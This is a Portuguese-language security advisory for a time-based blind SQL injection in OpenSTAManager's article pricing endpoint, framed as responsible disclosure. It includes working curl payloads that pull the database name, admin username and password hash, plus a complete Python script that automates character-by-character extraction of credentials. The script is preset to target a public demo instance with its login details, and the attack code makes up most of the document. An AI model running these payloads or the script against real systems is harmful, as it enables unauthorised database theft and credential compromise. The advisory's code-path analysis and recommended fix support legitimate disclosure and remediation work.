
CVE-2026-24416 - OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-24416 |
| Severidade | ALTA |
| Aviso | Ver Aviso |
| Descoberto por | Lukasz Rybak |
Vulnerabilidade crítica de Injeção SQL Cega Baseada em Tempo no módulo de preços de artigos do OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam todo o conteúdo do banco de dados, incluindo credenciais de usuário, dados de clientes e registros financeiros, através de ataques de inferência booleana baseados em tempo.
Status: ✅ Confirmado e testado em instância ao vivo (v2.9.8) e demo.osmbusiness.it (v2.9.7)
Parâmetro Vulnerável: idarticolo (GET)
Endpoint Afetado: /ajax_complete.php?op=getprezzi
Módulo Afetado: Articoli (Artigos/Produtos)
O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção SQL Cega Baseada em Tempo no manipulador de conclusão de preços de artigos. A aplicação falha em sanitizar adequadamente o parâmetro idarticolo antes de usá-lo em consultas SQL, permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis através de inferência booleana baseada em tempo.
Cadeia de Vulnerabilidade:
Ponto de Entrada: /ajax_complete.php (Linha 27)
$op = get('op');
$result = AJAX::complete($op);
O parâmetro op é recuperado, mas a vulnerabilidade está em outros parâmetros.
Distribuição: /src/AJAX.php::complete() (Linha 189)
$result = self::getCompleteResults($file, $resource);
Execução: /src/AJAX.php::getCompleteResults() (Linha 402)
require $file;
Arquivos complete.php específicos do módulo são incluídos.
Parâmetro Vulnerável: /modules/articoli/ajax/complete.php (Linha 26)
$idarticolo = get('idarticolo');
O parâmetro idarticolo é recuperado da requisição GET.
Contexto - Estrutura Completa da Consulta (Linhas 39-74):
A consulta vulnerável faz parte de uma consulta UNION que busca histórico de preços de faturas e notas de entrega:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ DEVIDAMENTE SANITIZADO (Linha 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERÁVEL - NÃO usa prepare() (Linha 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Causa Raiz: O desenvolvedor usou prepare() corretamente no primeiro SELECT (Linha 54) mas esqueceu de usá-lo no segundo SELECT da consulta UNION (Linha 70), criando um padrão de segurança inconsistente.
Passo 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Passo 2: Verificar Vulnerabilidade (SLEEP Baseado em Tempo)
# Teste com SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Resultado: real 0m10.32s (10.32 segundos)
# Teste com SLEEP(3) - deve levar ~3 segundos
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Resultado: real 0m3.36s (3.36 segundos)
# Teste sem SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Resultado: real 0m0.31s (0.31 segundos)
Passo 3: Extração de Dados - Nome do Banco de Dados
# Extrair primeiro caractere do nome do banco de dados
# Testar se o primeiro caractere é 'o' (esperado: TRUE para 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Resultado: real 0m2.34s (SLEEP executado - condição TRUE)
# Testar se o primeiro caractere é 'x' (esperado: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Resultado: real 0m0.31s (SLEEP não executado - condição FALSE)
# Extrair segundo caractere (esperado: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Resultado: real 0m2.34s (SLEEP executado - confirma segundo caractere como 'p')
# Extrair primeiros 3 caracteres (esperado: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma 'ope...')
Passo 4: Extrair Dados Sensíveis - Credenciais do Administrador
# Extrair nome de usuário admin (testar se os primeiros 5 caracteres são 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma nome de usuário admin)
# Extrair primeiro caractere do hash da senha (esperado: '$' para bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma formato de hash bcrypt)
Explicação do Payload:
Payload original: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL codificado: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Detalhamento da injeção:
1. 1 - ID de artigo válido
2. AND SUBSTRING(DATABASE(),1,1)='o' - Condição booleana para testar
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Executa SLEEP(2) se a condição for verdadeira
Resultado da Consulta SQL:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
Exemplo de Script de Extração Automatizada:
import requests
import time
import string
import sys
# Configuração Padrão
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Aumentado para 3s para estabilidade na instância demo remota
def login(session, base_url, user, pwd):
"""Autentica na aplicação e mantém a sessão."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Tentando login em: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Verifica se o login foi bem-sucedido (geralmente indicado pela presença de link de logout ou redirecionamento)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login bem-sucedido!")
return True
else:
print("[-] Falha no login. Verifique as credenciais.")
return False
except Exception as e:
print(f"[!] Erro de conexão: {e}")
return False
def extract_data(session, base_url, sql_query, label="Dados"):
"""Extrai dados caractere por caractere até o final da string ser alcançado."""
print(f"\n[*] Extraindo: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset otimizado para nomes de banco de dados e hashes bcrypt ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: Se a condição for verdadeira, o servidor dorme por SLEEP_TIME
# Usando ORD() e SUBSTRING() para lidar com vários tipos de caracteres com segurança
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Lida com instabilidade de rede/timeouts tentando novamente ou continuando
continue
# Se nenhum caractere do charset acionou um sleep, chegamos ao final dos dados
if not found_char:
print(f"\n[!] Fim da string ou nenhum dado encontrado na posição {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Permite que a URL alvo seja passada como argumento de linha de comando
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Extração do nome do banco de dados
db = extract_data(s, target, "SELECT DATABASE()", "Nome do Banco de Dados")
# 2. Extração do nome de usuário admin
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Nome de Usuário Admin (id=1)")
# 3. Extração do hash da senha (hashes Bcrypt têm ~60 caracteres; o loop lida com isso automaticamente)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Hash da Senha")
print(f"\n\n{'='*35}")
print(f" RELATÓRIO FINAL")
print(f"{'='*35}")
print(f"URL Alvo: {target}")
print(f"Banco de Dados: {db}")
print(f"Nome de Usuário: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()
Usuários Afetados: Todos os usuários autenticados com acesso à funcionalidade de preços de artigos (tipicamente usuários que gerenciam cotações, faturas, pedidos).
Correção Recomendada:
Arquivo: /modules/articoli/ajax/complete.php
ANTES (Vulnerável - Linha 70):
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
DEPOIS (Corrigido):
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Descoberto por Łukasz Rybak
Este CVE foi divulgado de forma responsável seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.
Consulta SQL Vulnerável: /modules/articoli/ajax/complete.php (Linha 70) VULNERABILIDADE PRIMÁRIA
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Impacto: Concatenação direta de $idarticolo sem prepare(), enquanto $idanagrafica é devidamente sanitizado.